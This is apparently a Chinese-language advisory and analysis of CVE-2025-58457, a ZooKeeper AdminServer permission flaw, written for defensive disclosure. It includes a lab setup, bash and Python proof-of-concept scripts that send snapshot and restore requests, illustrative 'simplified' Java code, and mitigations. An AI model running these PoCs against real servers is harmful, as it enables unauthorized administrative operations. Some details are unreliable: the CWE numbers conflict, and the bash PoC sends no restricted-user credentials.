一、漏洞简介

1.1 漏洞背景

ZooKeeper AdminServer 是一个内嵌的 HTTP 服务器,提供管理接口用于监控和管理 ZooKeeper 实例。该接口支持 snapshotrestore 等管理命令。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2025-58457
危害等级 MEDIUM / 4.3
漏洞类型 权限检查不足
披露时间 2025-09-24
影响组件 Apache ZooKeeper 安全
属性
CVE编号 CVE-2025-58457
危害等级 Moderate(中等)
漏洞类型 权限检查不足 (CWE-863)
发现者 Damien Diederen (ddiederen@apache.org)

漏洞描述: ZooKeeper AdminServer 在处理 snapshotrestore 命令时存在权限检查不足问题,已认证的客户端可能以不足的权限执行这些管理操作。

补充核验信息:公开时间:2025-09-24;NVD 评分:4.3(MEDIUM);CWE:CWE-280。

二、影响范围

2.1 受影响的版本

  • Apache ZooKeeper 3.9.0 至 3.9.3

2.2 不受影响的版本

  • Apache ZooKeeper < 3.9.0
  • Apache ZooKeeper ≥ 3.9.4

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 启用了 AdminServer(默认启用)
  2. 启用了 snapshot 或 restore 命令
  3. 客户端拥有 AdminServer 访问权限但缺乏完整 ACL 权限

三、漏洞详情与原理解析

3.1 漏洞触发机制

AdminServer 的 snapshot 和 restore 命令需要检查: 1. 客户端是否有管理接口访问权限 2. 客户端是否有对目标 znode 的 ACL 操作权限

漏洞在于第二个检查不完整,允许只有部分权限的用户执行完整操作。

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置: zookeeper-server/src/main/java/org/apache/zookeeper/server/admin/AdminServer.java

// 受影响代码 (简化示例)
public class AdminServer {

    @Command(name = "snapshot")
    public void handleSnapshot(Request request, Response response) {
        // 问题:仅检查 admin 认证,未检查 ACL 权限
        if (!isAuthenticatedAdmin(request)) {
            response.setStatus(403);
            return;
        }

        // 缺少 ACL 检查
        takeSnapshot();
        response.setStatus(200);
    }

    @Command(name = "restore")
    public void handleRestore(Request request, Response response) {
        if (!isAuthenticatedAdmin(request)) {
            response.setStatus(403);
            return;
        }

        // 缺少对目标路径的 ACL 检查
        String targetPath = request.getParameter("path");
        restoreFromSnapshot(targetPath);
    }
}

修复后代码:

public class AdminServer {

    @Command(name = "snapshot")
    public void handleSnapshot(Request request, Response response) {
        if (!isAuthenticatedAdmin(request)) {
            response.setStatus(403);
            return;
        }

        // 新增:检查根节点 ACL 权限
        if (!hasRootACLPermission(request)) {
            response.setStatus(403);
            response.writeBody("Insufficient ACL permission");
            return;
        }

        takeSnapshot();
        response.setStatus(200);
    }

    private boolean hasRootACLPermission(Request request) {
        // 检查用户对根节点是否有完整权限
        return zkServer.checkACL("/", Permissions.ALL, getAuthInfo(request));
    }
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动 ZooKeeper 3.9.0
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.9.0/apache-zookeeper-3.9.0-bin.tar.gz
tar -xzf apache-zookeeper-3.9.0-bin.tar.gz
cd apache-zookeeper-3.9.0-bin

# 配置 AdminServer
cat > conf/zoo.cfg << 'EOF'
tickTime=2000
dataDir=/tmp/zookeeper
clientPort=2181
admin.enableServer=true
admin.serverPort=8080
admin.snapshot.enabled=true
admin.restore.enabled=true
EOF

./bin/zkServer.sh start

4.2 PoC 演示与测试过程

#!/bin/bash
# CVE-2025-58457 PoC

# 创建受限用户
./bin/zkCli.sh << 'EOF'
create /restricted "sensitive data" digest:user:password
setAcl /restricted digest:user:password:rwd
quit
EOF

# 以受限用户身份尝试 snapshot
# 预期:应该被拒绝,但漏洞存在时会成功
curl -X POST "http://localhost:8080/commands/snapshot"

# 检查 snapshot 是否创建
ls -la /tmp/zookeeper/version-2/
#!/usr/bin/env python3
"""
CVE-2025-58457 PoC - 权限检查不足漏洞
"""
import requests
import base64

class AdminServerExploit:
    def __init__(self, host, port):
        self.base_url = f"http://{host}:{port}"

    def exploit_snapshot(self, auth_user, auth_pass):
        """尝试以受限权限执行 snapshot"""
        auth = base64.b64encode(f"{auth_user}:{auth_pass}".encode()).decode()
        headers = {"Authorization": f"Basic {auth}"}

        # 发送 snapshot 请求
        resp = requests.post(
            f"{self.base_url}/commands/snapshot",
            headers=headers
        )

        if resp.status_code == 200:
            print("[!] 漏洞存在!Snapshot 执行成功")
            print(f"    响应: {resp.text}")
            return True
        else:
            print(f"[-] 请求被拒绝: {resp.status_code}")
            return False

    def exploit_restore(self, auth_user, auth_pass, snapshot_file):
        """尝试以受限权限执行 restore"""
        auth = base64.b64encode(f"{auth_user}:{auth_pass}".encode()).decode()
        headers = {"Authorization": f"Basic {auth}"}

        resp = requests.post(
            f"{self.base_url}/commands/restore",
            headers=headers,
            json={"file": snapshot_file}
        )

        if resp.status_code == 200:
            print("[!] 漏洞存在!Restore 执行成功")
            return True
        return False

if __name__ == '__main__':
    exploit = AdminServerExploit("localhost", 8080)
    exploit.exploit_snapshot("limited_user", "password123")

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 ZooKeeper 3.9.4 或更高版本。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 禁用危险命令properties # zoo.cfg admin.snapshot.enabled=false admin.restore.enabled=false

  2. 完全禁用 AdminServerproperties admin.enableServer=false

  3. 确保根 ACL 安全bash # 设置严格的根 ACL ./bin/zkCli.sh setAcl / auth:user:password:cdrwa

  4. 网络访问控制bash # 限制 AdminServer 端口访问 iptables -A INPUT -p tcp --dport 8080 -s 127.0.0.1 -j ACCEPT iptables -A INPUT -p tcp --dport 8080 -j DROP

六、参考信息 / 参考链接

6.1 官方安全通告

<hr />

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2025-58457
  • CVE:https://www.cve.org/CVERecord?id=CVE-2025-58457
  • http://www.openwall.com/lists/oss-security/2025/09/24/10
  • https://archive.apache.org/dist/zookeeper/zookeeper-3.9.0/apache-zookeeper-3.9.0-bin.tar.gz
  • http://localhost:8080/commands/snapshot"
  • http://{host}:{port}"
  • https://zookeeper.apache.org/security.html#CVE-2025-58457
  • https://www.cve.org/CVERecord?id=CVE-2025-58457